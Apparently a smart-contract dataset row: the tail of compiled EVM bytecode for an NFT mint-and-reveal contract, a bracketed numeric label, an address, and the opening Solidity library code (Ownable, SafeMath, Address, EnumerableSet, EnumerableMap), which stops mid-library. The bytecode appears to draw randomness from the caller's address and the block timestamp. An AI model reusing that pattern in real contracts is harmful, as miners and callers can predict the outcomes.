0149054906101000a900460ff1681565b6101a881565b603381565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90611d81565b60405180910390fd5b60006003811115610b6c57610b6b612098565b5b600060149054906101000a900460ff166003811115610b8e57610b8d612098565b5b14610bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc590611d61565b60405180910390fd5b6000600c54905060008190505b8183610be79190611e51565b811015610ccc57604051806040016040528060016003811115610c0d57610c0c612098565b5b815260200160006009811115610c2657610c25612098565b5b815250600d600083815260200190815260200160002060008201518160000160006101000a81548160ff02191690836003811115610c6757610c66612098565b5b021790555060208201518160000160016101000a81548160ff02191690836009811115610c9757610c96612098565b5b02179055509050506001600c6000828254610cb29190611e51565b925050819055508080610cc490611f92565b915050610bdb565b505050565b610cd96110d1565b73ffffffffffffffffffffffffffffffffffffffff16610cf7610719565b73ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490611da1565b60405180910390fd5b60006003811115610d6157610d60612098565b5b600060149054906101000a900460ff166003811115610d8357610d82612098565b5b14610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba90611d61565b60405180910390fd5b80600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e90611d81565b60405180910390fd5b600060149054906101000a900460ff166003811115610eb957610eb8612098565b5b816003811115610ecc57610ecb612098565b5b11610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390611dc1565b60405180910390fd5b80600060146101000a81548160ff02191690836003811115610f3157610f30612098565b5b021790555050565b610f416110d1565b73ffffffffffffffffffffffffffffffffffffffff16610f5f610719565b73ffffffffffffffffffffffffffffffffffffffff1614610fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fac90611da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90611cc1565b60405180910390fd5b61102e816110d9565b50565b600080600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb90611d81565b60405180910390fd5b600c546006915091509091565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60003342836040516020016111b493929190611c13565b6040516020818303038152906040528051906020012060001c9050919050565b6111dc6118b8565b600060025460336111ed9190611ea7565b9050600060035460d46112009190611ea7565b9050600060045460d46112139190611ea7565b9050600081836112239190611e51565b90506000600b54600a5460095460085460075460065460055461025a6112499190611ea7565b6112539190611ea7565b61125d9190611ea7565b6112679190611ea7565b6112719190611ea7565b61127b9190611ea7565b6112859190611ea7565b905060008183876112969190611e51565b6112a09190611e51565b905060006001828a6112b29190612009565b6112bc9190611e51565b9050868111611328576001600260008282546112d89190611e51565b925050819055506040518060400160405280600160038111156112fe576112fd612098565b5b81526020016000600981111561131757611316612098565b5b815250975050505050505050611438565b83876113349190611e51565b81116114255760006001858b61134a9190612009565b6113549190611e51565b90508681116113c1576001600360008282546113709190611e51565b9250508190555060405180604001604052806002600381111561139657611395612098565b5b8152602001600160098111156113af576113ae612098565b5b81525098505050505050505050611438565b6001600460008282546113d49190611e51565b925050819055506040518060400160405280600260038111156113fa576113f9612098565b5b81526020016002600981111561141357611412612098565b5b81525098505050505050505050611438565b61142e8961143d565b9750505050505050505b919050565b6114456118b8565b6000600554606e6114569190611ea7565b90506000600654606e6114699190611ea7565b90506000600754606e61147c9190611ea7565b90506000600854606e61148f9190611ea7565b9050600060095460366114a29190611ea7565b90506000600a5460366114b59190611ea7565b90506000600b5460366114c89190611ea7565b9050600081838587898b8d6114dd9190611e51565b6114e79190611e51565b6114f19190611e51565b6114fb9190611e51565b6115059190611e51565b61150f9190611e51565b905060006001828c6115219190612009565b61152b9190611e51565b9050888111611598576001600560008282546115479190611e51565b92505081905550604051806040016040528060038081111561156c5761156b612098565b5b81526020016004600981111561158557611584612098565b5b81525099505050505050505050506118b3565b87896115a49190611e51565b811161160d576001600660008282546115bd9190611e51565b9250508190555060405180604001604052806003808111156115e2576115e1612098565b5b81526020016009808111156115fa576115f9612098565b5b81525099505050505050505050506118b3565b86888a61161a9190611e51565b6116249190611e51565b811161168e5760016007600082825461163d9190611e51565b92505081905550604051806040016040528060038081111561166257611661612098565b5b81526020016006600981111561167b5761167a612098565b5b81525099505050505050505050506118b3565b8587898b61169c9190611e51565b6116a69190611e51565b6116b09190611e51565b811161171a576001600860008282546116c99190611e51565b9250508190555060405180604001604052806003808111156116ee576116ed612098565b5b81526020016003600981111561170757611706612098565b5b81525099505050505050505050506118b3565b8486888a8c6117299190611e51565b6117339190611e51565b61173d9190611e51565b6117479190611e51565b81116117b1576001600960008282546117609190611e51565b92505081905550604051806040016040528060038081111561178557611784612098565b5b81526020016005600981111561179e5761179d612098565b5b81525099505050505050505050506118b3565b838587898b8d6117c19190611e51565b6117cb9190611e51565b6117d59190611e51565b6117df9190611e51565b6117e99190611e51565b8111611853576001600a60008282546118029190611e51565b92505081905550604051806040016040528060038081111561182757611826612098565b5b8152602001600860098111156118405761183f612098565b5b81525099505050505050505050506118b3565b6001600b60008282546118669190611e51565b92505081905550604051806040016040528060038081111561188b5761188a612098565b5b8152602001600760098111156118a4576118a3612098565b5b81525099505050505050505050505b919050565b6040518060400160405280600060038111156118d7576118d6612098565b5b8152602001600060098111156118f0576118ef612098565b5b81525090565b600081359050611905816122d5565b92915050565b60008135905061191a816122ec565b92915050565b60008135905061192f81612303565b92915050565b60008135905061194481612313565b92915050565b6000602082840312156119605761195f6120c7565b5b600061196e848285016118f6565b91505092915050565b60006020828403121561198d5761198c6120c7565b5b600061199b8482850161190b565b91505092915050565b6000602082840312156119ba576119b96120c7565b5b60006119c884828501611920565b91505092915050565b6000602082840312156119e7576119e66120c7565b5b60006119f584828501611935565b91505092915050565b611a0781611edb565b82525050565b611a1e611a1982611edb565b611fdb565b82525050565b611a2d81611eed565b82525050565b611a3c81611f5c565b82525050565b611a4b81611f6e565b82525050565b611a5a81611f80565b82525050565b6000611a6d601183611e40565b9150611a78826120d9565b602082019050919050565b6000611a90602683611e40565b9150611a9b82612102565b604082019050919050565b6000611ab3601483611e40565b9150611abe82612151565b602082019050919050565b6000611ad6601983611e40565b9150611ae18261217a565b602082019050919050565b6000611af9600f83611e40565b9150611b04826121a3565b602082019050919050565b6000611b1c601083611e40565b9150611b27826121cc565b602082019050919050565b6000611b3f600f83611e40565b9150611b4a826121f5565b602082019050919050565b6000611b62600b83611e40565b9150611b6d8261221e565b602082019050919050565b6000611b85602083611e40565b9150611b9082612247565b602082019050919050565b6000611ba8601383611e40565b9150611bb382612270565b602082019050919050565b604082016000820151611bd46000850182611a51565b506020820151611be76020850182611a42565b50505050565b611bf681611f52565b82525050565b611c0d611c0882611f52565b611fff565b82525050565b6000611c1f8286611a0d565b601482019150611c2f8285611bfc565b602082019150611c3f8284611bfc565b602082019150819050949350505050565b6000602082019050611c6560008301846119fe565b92915050565b6000602082019050611c806000830184611a24565b92915050565b6000602082019050611c9b6000830184611a33565b92915050565b60006020820190508181036000830152611cba81611a60565b9050919050565b60006020820190508181036000830152611cda81611a83565b9050919050565b60006020820190508181036000830152611cfa81611aa6565b9050919050565b60006020820190508181036000830152611d1a81611ac9565b9050919050565b60006020820190508181036000830152611d3a81611aec565b9050919050565b60006020820190508181036000830152611d5a81611b0f565b9050919050565b60006020820190508181036000830152611d7a81611b32565b9050919050565b60006020820190508181036000830152611d9a81611b55565b9050919050565b60006020820190508181036000830152611dba81611b78565b9050919050565b60006020820190508181036000830152611dda81611b9b565b9050919050565b6000604082019050611df66000830184611bbe565b92915050565b6000602082019050611e116000830184611bed565b92915050565b6000604082019050611e2c6000830185611bed565b611e396020830184611bed565b9392505050565b600082825260208201905092915050565b6000611e5c82611f52565b9150611e6783611f52565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e9c57611e9b61203a565b5b828201905092915050565b6000611eb282611f52565b9150611ebd83611f52565b925082821015611ed057611ecf61203a565b5b828203905092915050565b6000611ee682611f32565b9050919050565b60008115159050919050565b6000819050611f0782612299565b919050565b6000819050611f1a826122ad565b919050565b6000819050611f2d826122c1565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611f6782611ef9565b9050919050565b6000611f7982611f0c565b9050919050565b6000611f8b82611f1f565b9050919050565b6000611f9d82611f52565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611fd057611fcf61203a565b5b600182019050919050565b6000611fe682611fed565b9050919050565b6000611ff8826120cc565b9050919050565b6000819050919050565b600061201482611f52565b915061201f83611f52565b92508261202f5761202e612069565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600080fd5b60008160601b9050919050565b7f4e6f7420656e6f75676820737570706c79000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74206e6f74206d61696e74656e616e6365000000000000000000000000600082015250565b7f4d696e74206e6f7420616374697665206f7220636c6f73656400000000000000600082015250565b7f496e76616c696420746f6b656e49640000000000000000000000000000000000600082015250565b7f4e6f742072657665616c65642079657400000000000000000000000000000000600082015250565b7f4d696e74206e6f7420636c6f7365640000000000000000000000000000000000600082015250565b7f4e6f742047656e65736973000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f53746174652063616e277420676f206261636b00000000000000000000000000600082015250565b600481106122aa576122a9612098565b5b50565b600a81106122be576122bd612098565b5b50565b600481106122d2576122d1612098565b5b50565b6122de81611edb565b81146122e957600080fd5b50565b6122f581611eed565b811461230057600080fd5b50565b6004811061231057600080fd5b50565b61231c81611f52565b811461232757600080fd5b5056fea2646970667358221220a52d186feaac88d8d1eea8c9f28c300be935d9d972efc3ffe829f9aad7ad080e64736f6c63430008070033 | [
10
] |
0xf34f50b79a52c30e04d70c0043c90b3f599915c6 | pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(
address indexed currentOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
modifier onlyOwner() {
require(
msg.sender == _owner,
"Ownable : Function called by unauthorized user."
);
_;
}
function owner() external view returns (address ownerAddress) {
ownerAddress = _owner;
}
function transferOwnership(address newOwner)
public
onlyOwner
returns (bool success)
{
require(newOwner != address(0), "Ownable/transferOwnership : cannot transfer ownership to zero address");
success = _transferOwnership(newOwner);
}
function renounceOwnership() external onlyOwner returns (bool success) {
success = _transferOwnership(address(0));
}
function _transferOwnership(address newOwner) internal returns (bool success) {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
success = true;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
